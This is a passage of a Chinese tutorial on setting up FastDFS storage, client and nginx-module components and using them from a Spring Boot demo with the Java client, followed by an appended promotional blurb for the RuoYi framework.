start4.4.小结我们现在已经启动了tracker包括我们相应的一些配置,其实真正要做的配置没有,默认的端口都没改,只是把它的base_path 根目录进行了一个修改,当然这个修改也是可有可无的,但是记住一定要创建,有一个负载均衡,大部分默认都是一个轮询的方式,其它的也没什么!!!5.配置Storage5.1.拷贝storage.conf.sample跟tracker一样cd /etc/fdfs同样,拷贝一份cp storage.conf.sample storage.conf5.2.配置storage.conf修改storagevim storage.conf也是一样,我们观察一下里面的属性group_name = group1 默认组名,也是卷名bind_addr = 绑定的ip地址client_bind = true 是否允许客户端访问port = 23000 端口号connect_timeout = 5 连接超时network_timeout = 60 网络超时base_path = /home/yuqing/fastdfs【同样这里也是存放storage_server它里面基础数据的内容,以及日志内容的目录,比如说启动的进程号、同步的相应信息,我们也可以进行修改,/fastdfs/storage/base】max_connections =1024 最大连接数buff_size = 256KB 缓冲大小accept_threads = 1接收的线程work_threads = 4 工作的线程store_path0 = /home/yuqing/fastdfs【这个目录是我们真正存放文件的目录,我们也更改一下 /fastdfs/storage/store,这个目录会在我们storage启动的时候,它会去生成256x256目录,当然我们base_path和store_path0可以用同一个目录也是没有问题的,一般建议分开好区分】tracker_server = 192.168.209.121:22122【这里也是我们需要修改的地方,有两个我们只需要一个即可,为什么有两个,因为我们tracker也是可以搞集群的,可以配置多个,这里我们直接写我们tracker追踪服务器ip地址,如果是同一台服务器写本机ip即可,端口不变!!!】保存并退出即可!!!创建我们刚才自定义的目录mkdir -p /fastdfs/storage/base
mkdir -p /fastdfs/storage/store我们安装的时候也修改了目录,所以我们这里也要修改一下vim /etc/init.d/fdfs_storaged修改PRG=/usr/local/bin/fdfs_storaged5.3.启动storage保存并退出,启动storage/etc/init.d/fdfs_storaged start 查看状态/etc/init.d/fdfs_storaged status停止/etc/init.d/fdfs_storaged stop重启/etc/init.d/fdfs_storaged restart开启启动我们进入文件vim /etc/rc.d/rc.local添加启动文件启动之后我们可以去看看我们刚才创建的两个目录cd /fastdfs storage/base目录【基础数据目录】可以看到有一个data和logs 基础数据和日志可以看到有对应的一个日志进入data目录里面有对应我们storage的一个进程号,然后启动的一个数据和同步相应的相关信息 我们回去看我们storecd ../../store这里也有一个data,这个data存放我们上传文件的目录 我们发现这边使用16进制,从00一直到FF,一共是256个目录,然后我们每一个目录下面还有256个子目录我们cd 00 再 ls我们发现还是有 00 -FF 256个目录再00就没了!!!再往下这边就会存放我们的文件了,至于我们文件上传上来之后会存放在那个目录下面,这个不需要我们去关系,storage会自己去存放,并且我们的tracker会去把我们的一个完整的卷名加文件名,这个文件名就是从data到00再到00再到下面的具体文件名一整个完整路径返回给我们,我们直接能拿到,它具体存放在着256个目录那个目录这个不需要我们操心,这是storage自定义去完成的,我们这里storage开机启动前提是必须先启动tracker再启动storage,不然会报错,因为我们storage配置文件里面配置了tracker_server,所以我们这边如果想要stroage开机自启,必须设置tracker也开机自启,不然不建议storage自启!!!6.Client配置【可选】客户端配置不是必需的,因为客户端配置完相当于用命令行去测试我们的fastdfs,所以我们如果不准备用命令行测试,而是准备用代码测试的话,我们完全可以跳过!!!我们可以把Client放在tracker和storage任意服务器下,并不影响,把它配置改一下即可!!!6.1.拷贝client.conf.sample首先进入我们配置模板cd /etc/fdfs我们可以看到这边有一个client.conf.sample同样,我们先拷贝cp client.conf.sample client.conf6.2.配置client.conf进入配置文件vim client.conf可以看下它的属性,更改的地方加粗connect_timeout =5 连接超时network_timeout = 60 网络超时base_path = /home/yuqing/fastdfs 基础目录 【我们更改一些,/fastdfs/client,这里也是放客户端运行所产生的一些相应的数据】tracker_server = 192.168.0.196:22122【我们之前说过,我们如果是客户端进行一个上传和下载的话,中间都要经过一个tracker,我们上传的时候呢,根据tracker找到storage的ip和端口进行上传,如果我们是下载的话,客户端也需要通过我们的tracker找到我们的一个ip和端口进行一个下载,所以我们这边要配置一个tracker,改成本机地址 192.168.248.101】到这里,client配置就完成了,我们保存并退出,创建刚刚自定义的目录mkdir -p /fastdfs/client6.3.上传文件我们看到root目录下面有个图片,我们可以把这个上传上去怎么去上传呢?上传的话因为我们安装的时候改过对应的一个目录,我们的命令目录呢在/usr/local/bin我们上传就是fdfs_upload_file./fdfs_upload_file /etc/fdfs/client.conf ~/cat-114782_640 (1).jpg上传命令+客户端配置+上传的文件返回上传的完整卷名加文件名,它的文件名是重新命名的group1是我们storage里的配置,配的一个卷名的名称M00 这是一个虚拟目录00和00表示它放在data-00-00目录下,当然一般情况下是按照顺序保存的,但我们也不能完全保证,storage有自己的一个规则,上传到哪一个目录下面去wKj4ZWQJdC-AOV6HAAKSU_3XkA0484.jpg 文件名 重新命名了,防止文件名重复!!!我们可以进入storage存放文件目录去查看我们上传的文件小结我们要记住M00是一个虚拟目录,有点相当于我们windows的快捷方式,它的引用主要是引用到我们的data目录下面,data就对应M00,快捷方式的一个意思6.4.删除文件./fdfs_delete_file /etc/fdfs/client.conf group1/M00/00/00/wKj4ZWQJdC-AOV6HAAKSU_3XkA0484.jpg删除命令+client配置文件+完整的卷名和文件名这里要注意,因为我们现在操作没有ip和端口,所以我们需要根据追踪器,根据这一整串完整的文件名去获取stroage的ip和端口,才会去进行一个删除这也就是我们client为什么要去配置tracker服务器这样则表示删除成功我们可以进入data-00-00查看是否删除成功我们发现后最484的文件名没有了7.安装nginx和fastdfs_nginx_module为什么要安装nginx呢?因为我们fastdfs是一个文件系统,那可以存放很多类型的文件,比如说存放图片或者其它一个类型,图片的话我们可以通过网页直接去预览,而不需要通过我们现在这个操作,通过client拿到一个完整的卷名加文件名,通过tracker拿到对应的ip地址和端口再去下载预览,太麻烦,我们可以通过http协议直接在我们的url里面输入我们的一个ip端口,卷名文件名直接在浏览器里面可以访问这张图片或预览,那这个时候呢我们fastdfs没法实现,就要安装fastdfs_module_nginx和nginx进行代理7.1.安装组件fastdfs-nginx-module解压tar zxvf fastdfs-nginx-module-1.22cd 进入目录HISTOPY 历史文件INSTALL 安装src 源码我们来到src源码目录源码目录有相应的一个配置,我们需要修改相应的一个配置vim config为什么要改配置呢?因为我们去安装我们的组件之后呢,会去安装我们的nginx,安装nginx的时候需要把我们的一个module模块加进去,加进去之后会寻找我们的一个fastdfs对应的一个安装的目录,如果目录不正确可能就安装失败了!!!所以我们需要去更改我们的一个目录路径修改的时候也有区别,因为我们装fastdfs的时候修改了我们安装目录,所以我们这串目录是改过目录之后的,如果我们没有修改过fastdfs的安装目录的,我们改的是另一个目录 /usr/local/include/fastdfs /usr/include/fastcommon/fastdfs位置+核心库,这两个改呢,是因为我们安装改过,如果没有的话呢,我们改的不是这两个,就应该是把local删掉就行了保存并退出,我们的模块就改好了,改好了之后并不代表它已经安装了,怎么去安装呢,就是我们去安装nginx的时候,把模块添加上去即可,所以我们还要去安装我们的nginx7.2.安装nginx依赖安装之前我们还需要安装对应依赖yum install -y gcc gcc-c++ make automake autoconf libtool pcre pcre-develzlib zlib-devel
openss1 openss1-devel解压nginxtar -zxvf nginx-1.16.1.tar.gz查看目录我们需要去更改一下它的目录更改目录先准备一个目录mkdir -p /var/temp/nginx配置nginx安装信息./configure \
--prefix=/usr/local/nginx \
--pid-path=/var/run/nginx/nginx.pid \
--lock-path=/var/lock/nginx.lock \
--error-log-path=/var/log/nginx/error.log \
--http-log-path=/var/log/nginx/access.log \
--with-http_gzip_static_module \
--http-client-body-temp-path=/var/temp/nginx/client \
--http-proxy-temp-path=/var/temp/nginx/proxy \
--http-fastcgi-temp-path=/var/temp/nginx/fastcgi\
--http-uwsgi-temp-path=/var/temp/nginx/uwsgi \
--http-scgi-temp-path=/var/temp/nginx/scgi \
--add-module=/usr/local/fastdfs/fastdfs-nginx-module-1.22/src--prefix=/usr/local/nginx \ 安装路径下面这些信息放入我们刚才创建的文件--http-client-body-temp-path=/var/temp/nginx/client \--http-proxy-temp-path=/var/temp/nginx/proxy \--http-fastcgi-temp-path=/var/temp/nginx/fastcgi\--http-uwsgi-temp-path=/var/temp/nginx/uwsgi \--http-scgi-temp-path=/var/temp/nginx/scgi \--add-module=/usr/local/fastdfs/fastdfs-nginx-module-1.22/src【这个是必须定义的,这个是我们安装nginx的时候需要加载的一个模块,如果没有指定的话呢,nginx安装过程中呢,就不会去加载fastdfs_nginx_module模块,如果nginx配置文件添加了这个模块,nginx启动会报错,后续功能无法实现!!!】这样我们nginx安装信息就配置完成接下来我们就可以进行安装了预编译make编译加安装make install8.配置nginx模块8.1.拷贝mod_fastdfs.conf同理跟上面操作一样我们先把fastdfs_nginx_module模块配置文件修改cd /usr/local/fastdfs/fastdfs-nginx-module-1.22/src/这里面有一个我们对应的一个配置文件mod_fastdfs.confcd mod_fastdfs.conf /etc/fdfs然后我们进行一个相应的修改8.2.修改mod_fastdfs.confconnect_timeout = 2 连接超时 ,可改可不改,改成10network_timeout = 30 网络超时base_path 基础目录tracker_server = 192.168.248.101:22122【这里也需要我们tracker服务器,改成本机跟踪服务器ip即可】storage_server_port = 23000 端口号url_have_group_name = false 【表示我的url中是否要包含group名字,这里我们改成true包含即可 】store_path0 = /home/yuqing/fastdfs【我们这里要改成我们之前存放文件的目录 /fastdfs/store】保存并退出8.3.拷贝http配置这两个文件是因为我们nginx在网页上直接看图片的时候呢,是用的一个http协议,所以我们需要去拷贝一下httpcp /usr/local/fastdfs/fastdfs-6.06/conf/http.conf /etc/fdfs/请求头cp /usr/local/fastdfs/fastdfs-6.06/conf/mime.types /etc/fdfs/8.4.创建nginx8.4.1.启动软连接因为我们nginx启动的时候呢,会在默认的/usr/lib64目录下面去查找所需的so文件,那因为我们安装fastdfs的时候呢,已经修改了它的目录,所以我们一定要创建它的软链接,不然会失败ln-s /usr/local/lib64/libfdfsclient.so /usr/lib64/libfdfsclient.so8.4.2.网络服务启动软链接这个软链接呢,我们的追踪服务返回的里面有一个M00,这个M00其实就是一个data,它是相当于windows的一个快捷方式,那我们需要把这个M00指定到data下面ln -s /fastdfs/storage/store/data//fastdfs/storage/store/data/M00我们可以去看一下我们创建的软连接是否生效cd /fastdfs/storage/store/data我们可以看到这边有个M00它指定的目录呢就是我们data目录下9.配置nginx9.1.修改nginx.confcd /usr/local/nginx/进入conf目录cd conf修改nginx.confvim nginx.conf 修改哪些东西呢?user nobby 【因为是学习原因,我们这边直接配置root用户即可,正式工作中肯定是根据实际情况来决定的,我们user改成root用户意思是nginx访问alias必须要有文件系统的权限,那我们改成root就表示文件系统的一个权限是root用户的一个权限,如果我们不开启这个可能会出现404错误,那实际工作中,我们肯定不可能把这个root用户权限放出来,可能会自己创建一个用户指派一些权限,所以我们基于学习的一个目的直接开放即可!!!】listen:8888【为什么是8888呢,我们cd /etc/fdfs,vim storage.conf,这边有一个htpp.server_port端口,它这边就是8888,如果我们这边改了,我们对应nginx配置文件也需要更改!!!】加入以下配置location ~/group[0-9]/M00{
ngx_fastdfs_module;
}~/group[0-9]表示我们group0-9组都可以M00表示datangx_fastdfs_module 是我们fastdfs_nginx_module配置的nginx模块当我们去访问8888端口时候呢,它就会找到我们的本地的group0/M00,然后通过我们的ngx_fastdfs_module这样的一个模块去找到我们storage上面存储的一个对应文件就可以预览了!!!9.2.重启storage并启动nginx保存并退出,我们nginx配置就完成了,我们需要重启一下我们的storage并且要启动nginx/etc/init.d/fdfs_storaged restart我们来到nginx-sbin目录启动nginx./nginx看到端口表示启动成功!!!查看启动状态ps -ef |grep nginx9.3.上传图片通过网页访问我们通过客户端上传图片/usr/local/bin/fdfs_upload_file /etc/fdfs/client.conf cat-114782_640.jpg同理,上传命令+client配置+文件名即可 查看上传的文件cd /fastdfs/storage/store/data/00/00/ 根据tracker给出的路径通过网页进行访问,ip+端口+卷名和文件名10.Java API10.1.依赖<dependency>
<groupId>org.csource</groupId>
<artifactId>fastdfs-client-java</artifactId>
<version>1.30-SNAPSHOT</version>
</dependency>注意:这边我们maven仓库是没有这个依赖的,我们需要自己去下载然后安装到仓库首先确保我们环境依赖没有问题获取fastdfs依赖https://gitcode.net/mirrors/happyfish100/fastdfs-client-java?utm_source=csdn_github_accelerator进入解压后的fastdfs-client-java-master文件夹,并在此路径打开cmd命令行窗口,执行命令mvn clean install这里安装在了我本地的maven仓库里,如果没有配置maven本地仓库,那么他会默认下载到默认的本地仓库C:${user.home}.m2\repository这是本地已经安装好的fastdfs-client-java-master依赖然后重新加载maven依赖就可以啦,注意版本要对应10.2.常用类10.2.1.CLientGlobal【加载配置文件】用于加载配置文件的公共客户端工具。常用方法:init(String conf_filename);根据配置文件路径及命名,加载配置文件并设置客户端公共参数,配置文件类型为conf文件。可以使用绝对路径或相对路径加载。initByProperties(Properties props);根据Properties对象设置客户端公共参数。注意:使用conf或prooerties进行客户端参数配置时,参数key命名不同。10.2.2.TrckerClient【跟踪器客户端类型】跟踪器客户端类型。创建此类型对象时,需传递跟踪器组,就是跟踪器的访问地址信息。无参构造方法默认使用ClientGlobal_tracker_group 常量作为跟踪器组来构造对象。【就是我们上面ClientGlobal定义的常量】创建对象的方式为:new TrackerClient();或new TrackerClient(ClientGlobal.g_tracker_group)10.2.3.TrackerServer【跟踪器服务类型】跟踪器服务类型,此类型的对象是通过跟踪器客户端对象创建的。实质上就是一个FastDFS Tracker Server的链接对象。是代码中与Tracker Server链接的工具构建对象的方式为:trackerClient.getTrackerServer();10.2.4.StorageServer【存储服务类型】存储服务类型。此类型的对象是通过跟踪器客户端对象创建的。实质上就是一个FastDFS Storage Server的链接对象。是代码中与StorageServer链接的工具。获取具体存储服务链接,是由Tracker Server分配的,所以构建存储服务对象时,需要依赖跟踪器服务对象构建对象的方式为:trackerClient.getStorage(trackerServer);10.2.5.StorageClient【真正去操作文件的客户端类型,需要传入tracker和storage】存储客户端类型,此类型对象是通过构造方法创建的。创建时,需传递跟踪服务对象和存储服务对象。此对象实质上就是一个访问FastDFS Storage Server的客户端对象,用于实现文件的读写操作创建对象的方式为:new StorageClient(trackerServer,storageServer);常用方法有:upload_file(String local_filename【文件路径】,String file_ext_name【文件扩展名,如果我们这里传null的话,那我们fastdfs就会自动解析文件扩展名,自动找.后面的一串 】,NameValuePair[] meta_list【文件属性集合】);上传文件的方法,参数local_filename为要上传的本地文件路径及文件名,可使用绝对路径或相对路径;参数file_ext_name为上传文件的扩展名,如果扩展null,则自动解析文件扩展名;参数meta_list是用于设置上传文件的源数据,如上传用户、上传描述等。download_file(String group_name【卷名】,String remote_file_name【下载的文件名】);下载文件的方法,参数group为组名/卷名,就是Storage Server中/etc/fdfs/storage.conf配置文件中配置的group_name参数值,也是要下载的文件所在组/卷的命名;参数remote_file_name为要下载的文件路径及文件名。delete_file(String group_name【卷名】,String remote_file_name【删除的文件名】);删除文件的方法,参数含义同download_file方法参数11.Demo11.1.创建项目创建fastdfsdemo,加上web和thymeleaf依赖11.2.导入相关依赖<!--thylemeaf-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<!--web-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!--fastdfs-->
<dependency>
<groupId>org.csource</groupId>
<artifactId>fastdfs-client-java</artifactId>
<version>1.30-SNAPSHOT</version>
</dependency>
<!--test-->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>11.3.创建fdfs_client.conf配置文件#连接超时
connect_timeout = 2
#网络超时
network_timeout = 30
#编码格式
charset = utf-8
#tracke端口号
http.tracker_http_port = 8888
#防盗链功能
http.anti_steal_token = no
#秘钥
http.secret_key = FastDFS1234567890
#tracker ip :端口号
tracker_server = 192.168.248.101:22122
#连接池配置
connection_pool.enabled = true
connection_pool.max_count_per_entry = 500
connection_pool.max_idle_time = 3600
connection_pool.max_wait_time_in_ms = 100011.4.加载配置文件,生成服务端和客户端//日志
private static Logger logger = LoggerFactory.getLogger(FastDFSClient.class);
//初始化FastDFS,ClientGlobal.init方法会读取配置文件,并初始化对应的属性
static {
try {
String filePath = new ClassPathResource("fdfs_client.conf").getFile().getAbsolutePath();
ClientGlobal.init(filePath);
} catch (IOException | MyException e) {
logger.error("FastDFS Client init Fail!", e);
e.printStackTrace();
}
}
/**
* 生成Storage客户端
* @return
* @throws IOException
*/
private static StorageClient getStorageClient() throws IOException {
TrackerServer trackerServer = getTrackerServer();
//我们可以通过trackerServer拿到StorageServer,不设置也能拿到StorageClient
return new StorageClient(trackerServer, null);
}
/**
* 生成Tracker服务器端
* @return
* @throws IOException
*/
private static TrackerServer getTrackerServer() throws IOException {
TrackerClient trackerClient = new TrackerClient();
return trackerClient.getTrackerServer();
}11.5.上传、下载、删除、查看文件 /**
* 上传
*
* @param file 文件对象
* @return
*/
private static String[] upload(FastDFSFile file) {
//打印相关信息
logger.info("File Name:" + file.getName() + ",File lenght" + file.getContent().length);
//文件属性信息
NameValuePair[] meta_list = new NameValuePair[1];
meta_list[0] = new NameValuePair("author", file.getAuthor());
//上传时间
long startTime = System.currentTimeMillis();
//返回一个String数组
String[] uploadResults = null;
StorageClient storageClient = null;
try {
//拿到客户端
storageClient = getStorageClient();
//文件数组;后缀名;文件属性相关数组
uploadResults = storageClient.upload_file(file.getContent(), file.getExt(), meta_list);
} catch (IOException | MyException e) {
e.printStackTrace();
//上传失败打印文件名
logger.error("上传失败 File Name:" + file.getName(), e);
}
//上传时间
logger.info("上传时间:" + (System.currentTimeMillis() - startTime + "ms"));
//验证上传结果
if (uploadResults == null && storageClient != null) {//判断上传结果是否为空
logger.error("上传失败" + storageClient.getErrorCode());//上传失败拿到错误结果
}
//上传成功会返回相应信息
logger.info("上传成功,group_name:" + uploadResults[0] + "remoteFileName:" + uploadResults[1]);//打印卷名和完整名字
return uploadResults;
}
/**
* 下载文件
*
* @param groupName 卷
* @param remoteFileName 完整文件名
* @return
*/
public static InputStream downFile(String groupName, String remoteFileName) {
try {
//创建storage客户端对象
StorageClient storageClient = getStorageClient();
//调用下载方法,返回一个数组
byte[] fileByte = storageClient.download_file(groupName, remoteFileName);
//输入要下载的文件
InputStream ins = new ByteArrayInputStream(fileByte);
return ins;
} catch (IOException | MyException e) {
logger.error("下载失败", e);
}
return null;
}
/**
* 删除文件
*
* @param groupName 卷
* @param remoteFileName 完整文件名
*/
public static void deleteFile(String groupName, String remoteFileName) {
try {
StorageClient storageClient = getStorageClient();
int i = storageClient.delete_file(groupName, remoteFileName);
logger.info("删除成功" + i);
} catch (IOException | MyException e) {
logger.error("删除失败", e);
}
}
/**
* 查看文件信息
* @param groupName 卷名
* @param remoteFileName 完整文件名
* @return
*/
public static FileInfo getFile(String groupName, String remoteFileName) {
try {
StorageClient storageClient = getStorageClient();
//获取文件方法
FileInfo file_info = storageClient.get_file_info(groupName, remoteFileName);
return file_info;
} catch (Exception e) {
logger.error("查看文件信息失败", e);
}
return null;
}11.6.网页查看图片方法
/**
* 获取文件路径,上传至后返回的完整路径
* @return
* @throws IOException
*/
public static String getTrackerUrl() throws IOException {
return "http://"+getTrackerServer().getInetSocketAddress().getHostString()+":8888/";
}11.7.完整代码package com.zhang.fastdfsdemo.utils;
import com.zhang.fastdfsdemo.pojo.FastDFSFile;
import org.csource.common.MyException;
import org.csource.common.NameValuePair;
import org.csource.fastdfs.*;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.core.io.ClassPathResource;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author zb
* @version 1.0
* @date 2023/3/9 18:22
* @ClassName FastDFSClient
* @Description FastDFS工具类
* StorageServer也可以通过Tracker拿到,我们直接那StorageClient即可,
* 因为我们后期操作我们的文件,不管是上传、下载、删除都是通过我们storageClient进行操作的
*/
public class FastDFSClient {
//日志
private static Logger logger = LoggerFactory.getLogger(FastDFSClient.class);
//初始化FastDFS,ClientGlobal.init方法会读取配置文件,并初始化对应的属性
static {
try {
String filePath = new ClassPathResource("fdfs_client.conf").getFile().getAbsolutePath();
ClientGlobal.init(filePath);
} catch (IOException | MyException e) {
logger.error("FastDFS Client init Fail!", e);
e.printStackTrace();
}
}
/**
* 生成Storage客户端
*
* @return
* @throws IOException
*/
private static StorageClient getStorageClient() throws IOException {
TrackerServer trackerServer = getTrackerServer();
//我们可以通过trackerServer拿到StorageServer,不设置也能拿到StorageClient
return new StorageClient(trackerServer, null);
}
/**
* 生成Tracker服务器端
*
* @return
* @throws IOException
*/
private static TrackerServer getTrackerServer() throws IOException {
TrackerClient trackerClient = new TrackerClient();
return trackerClient.getTrackerServer();
}
/**
* 上传
*
* @param file 文件对象
* @return
*/
private static String[] upload(FastDFSFile file) {
//打印相关信息
logger.info("File Name:" + file.getName() + ",File lenght" + file.getContent().length);
//文件属性信息
NameValuePair[] meta_list = new NameValuePair[1];
meta_list[0] = new NameValuePair("author", file.getAuthor());
//上传时间
long startTime = System.currentTimeMillis();
//返回一个String数组
String[] uploadResults = null;
StorageClient storageClient = null;
try {
//拿到客户端
storageClient = getStorageClient();
//文件数组;后缀名;文件属性相关数组
uploadResults = storageClient.upload_file(file.getContent(), file.getExt(), meta_list);
} catch (IOException | MyException e) {
e.printStackTrace();
//上传失败打印文件名
logger.error("上传失败 File Name:" + file.getName(), e);
}
//上传时间
logger.info("上传时间:" + (System.currentTimeMillis() - startTime + "ms"));
//验证上传结果
if (uploadResults == null && storageClient != null) {//判断上传结果是否为空
logger.error("上传失败" + storageClient.getErrorCode());//上传失败拿到错误结果
}
//上传成功会返回相应信息
logger.info("上传成功,group_name:" + uploadResults[0] + "remoteFileName:" + uploadResults[1]);//打印卷名和完整名字
return uploadResults;
}
/**
* 下载文件
*
* @param groupName 卷
* @param remoteFileName 完整文件名
* @return
*/
public static InputStream downFile(String groupName, String remoteFileName) {
try {
//创建storage客户端对象
StorageClient storageClient = getStorageClient();
//调用下载方法,返回一个数组
byte[] fileByte = storageClient.download_file(groupName, remoteFileName);
//输入要下载的文件
InputStream ins = new ByteArrayInputStream(fileByte);
return ins;
} catch (IOException | MyException e) {
logger.error("下载失败", e);
}
return null;
}
/**
* 删除文件
*
* @param groupName 卷
* @param remoteFileName 完整文件名
*/
public static void deleteFile(String groupName, String remoteFileName) {
try {
StorageClient storageClient = getStorageClient();
int i = storageClient.delete_file(groupName, remoteFileName);
logger.info("删除成功" + i);
} catch (IOException | MyException e) {
logger.error("删除失败", e);
}
}
/**
* 查看文件信息
* @param groupName 卷名
* @param remoteFileName 完整文件名
* @return
*/
public static FileInfo getFile(String groupName, String remoteFileName) {
try {
StorageClient storageClient = getStorageClient();
//获取文件方法
FileInfo file_info = storageClient.get_file_info(groupName, remoteFileName);
return file_info;
} catch (Exception e) {
logger.error("查看文件信息失败", e);
}
return null;
}
/**
* 获取文件路径,上传至后返回的完整路径
* @return
* @throws IOException
*/
public static String getTrackerUrl() throws IOException {
return "http://"+getTrackerServer().getInetSocketAddress().getHostString()+":8888/";
}
}11.8.前端测试我们写一个contrller测试即可,service我们不写直接跳过,正常情况下应该要写service,service调我们工具类方法,contrller再调service,我们这里只是演示!!!controllerpackage com.zhang.fastdfsdemo.controller;
import com.zhang.fastdfsdemo.pojo.FastDFSFile;
import com.zhang.fastdfsdemo.utils.FastDFSClient;
import org.csource.common.MyException;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.mvc.support.RedirectAttributes;
import java.io.IOException;
import java.io.InputStream;
/**
* @author zb
* @version 1.0
* @date 2023/3/9 21:12
* @ClassName FileContrller
* @Description TODD 测试文件上传、下载、删除、查看
*/
@Controller
public class FileContrller {
private static Logger logger = LoggerFactory.getLogger(FileContrller.class);
/**
* 上传文件
* 我们现在入参是 MultipartFile ,但我们真正要传进去的fastdfs file,那我们可以把它提取出来调用
*
* @param file
* @param redirectAttributes
* @return
*/
@PostMapping("upload")
public String singFile(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {//判断上传文件是否为空
redirectAttributes.addFlashAttribute("message", "请选择一个文件上传");
return "redirect:uploadStatus";
}
//拿到客户端
try {
//上传文件,拿到返回文件路径
String path = saveFile(file);
redirectAttributes.addFlashAttribute("message", "上传成功" + file.getOriginalFilename());
redirectAttributes.addFlashAttribute("path", "路径:" + path);
} catch (IOException | MyException e) {
e.printStackTrace();
}
return "redirect:uploadStatus";
}
/**
* 跳转上传文件状态也
*
* @return
*/
@GetMapping("/uploadStatus")
public String uploadStatus() {
return "uploadStatus";
}
/**
* 跳转文件上传页
*
* @return
*/
@GetMapping("/")
public String upload() {
return "upload";
}
/**
* MultipartFile转fastdfsfile
*
* @param multipartFile
* @return
* @throws IOException
*/
public String saveFile(MultipartFile multipartFile) throws IOException, MyException {
String[] fileAbsolutePath = {};
String fileName = multipartFile.getOriginalFilename();//获取文件名
String ext = fileName.substring(fileName.lastIndexOf(".") + 1);//截取后缀
byte[] file_buff = null;
InputStream inputStream = multipartFile.getInputStream();
if (inputStream != null) {
int len1 = inputStream.available();//拿到长度
file_buff = new byte[len1];
inputStream.read(file_buff);
}
inputStream.close();
FastDFSFile file = new FastDFSFile(fileName, file_buff, ext);//转成fastdfs文件类型
//上传,//返回组名和文件名
fileAbsolutePath = FastDFSClient.upload(file);
if (fileAbsolutePath == null) {
logger.error("上传失败");
}
String path = FastDFSClient.getTrackerUrl() + fileAbsolutePath[0] + "/" + fileAbsolutePath[1];//返回完整路径
return path;
}
}
html上传文件<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title></title>
</head>
<body>
<h1>Spring Boot file upload example</h1>
<form method="post" action="/upload" enctype="multipart/form-data">
<input type="file" name="file"><br><br>
<input type="submit" value="submit">
</form>
</body>
</html>上传状态<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<h1>SpringBoot - Upload Status</h1>
<div th:if="${message}">
<h2 th:text="${message}"></h2>
</div>
<div th:if="${path}">
<h2 th:text="${path}"></h2>
</div>
</body>
</html>测试上传成功流览图
“毕设,私活极优Spring Boot+Spring Cloud分布式微服务架构快速搭建”
平台简介若依是一套全部开源的快速开发平台,毫无保留给个人及企业免费使用。采用前后端分离的模式,微服务版本前端(基于 RuoYi-Vue)。后端采用Spring Boot、Spring Cloud & Alibaba。注册中心、配置中心选型Nacos,权限认证使用Redis。流量控制框架选型Sentinel,分布式事务选型Seata。如需不分离应用,请移步 RuoYi,如需分离应用,请移步 RuoYi-Vue友情链接 若依/RuoYi-Cloud Ant Design版本。系统模块com.ruoyi
├── ruoyi-ui // 前端框架 [80]
├── ruoyi-gateway // 网关模块 [8080]
├── ruoyi-auth // 认证中心 [9200]
├── ruoyi-api // 接口模块
│ └── ruoyi-api-system // 系统接口
├── ruoyi-common // 通用模块
│ └── ruoyi-common-core // 核心模块
│ └── ruoyi-common-datascope // 权限范围
│ └── ruoyi-common-datasource // 多数据源
│ └── ruoyi-common-log // 日志记录
│ └── ruoyi-common-redis // 缓存服务
│ └── ruoyi-common-security // 安全模块
│ └── ruoyi-common-swagger // 系统接口
├── ruoyi-modules // 业务模块
│ └── ruoyi-system // 系统模块 [9201]
│ └── ruoyi-gen // 代码生成 [9202]
│ └── ruoyi-job // 定时任务 [9203]
│ └── ruoyi-file // 文件服务 [9300]
├── ruoyi-visual // 图形化管理模块
│ └── ruoyi-visual-monitor // 监控中心 [9100]
├──pom.xml // 公共依赖架构图内置功能用户管理:用户是系统操作者,该功能主要完成系统用户配置。部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。岗位管理:配置系统用户所属担任职务。菜单管理:配置系统菜单,操作权限,按钮权限标识等。角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。字典管理:对系统中经常使用的一些较为固定的数据进行维护。参数管理:对系统动态配置常用参数。通知公告:系统通知公告信息发布维护。操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。登录日志:系统登录日志记录查询包含登录异常。在线用户:当前系统中活跃用户状态监控。定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。系统接口:根据业务代码自动生成相关的api接口文档。服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。在线构建器:拖动表单元素生成相应的HTML代码。连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。在线体验admin/admin123陆陆续续收到一些打赏,为了更好的体验已用于演示服务器升级。谢谢各位小伙伴。演示地址:http://ruoyi.vip文档地址:http://doc.ruoyi.vip演示图技术选型1、系统环境Java EE 8Servlet 3.0Apache Maven 32、主框架Spring Boot 2.2.xSpring Framework 5.2.xApache Shiro 1.73、持久层Apache MyBatis 3.5.xHibernate Validation 6.0.xAlibaba Druid 1.2.x4、视图层Bootstrap 3.3.7Thymeleaf 3.0.x准备工作JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0运行系统1、前往Gitee下载页面(https://gitee.com/y_project/RuoYi (opens new window))下载解压到工作目录2、导入到Eclipse,菜单 File -> Import,然后选择 Maven -> Existing Maven Projects,点击 Next> 按钮,选择工作目录,然后点击 Finish 按钮,即可成功导入。Eclipse会自动加载Maven依赖包,初次加载会比较慢(根据自身网络情况而定)3、创建数据库ry并导入数据脚本ry_2021xxxx.sql,quartz.sql4、打开项目运行com.ruoyi.RuoYiApplication.java,出现如下图表示启动成功。(♥◠‿◠)ノ゙ 若依启动成功 ლ(´ڡ`ლ)゙
.-------. ____ __
| _ _ \ \ \ / /
| ( ' ) | \ _. / '
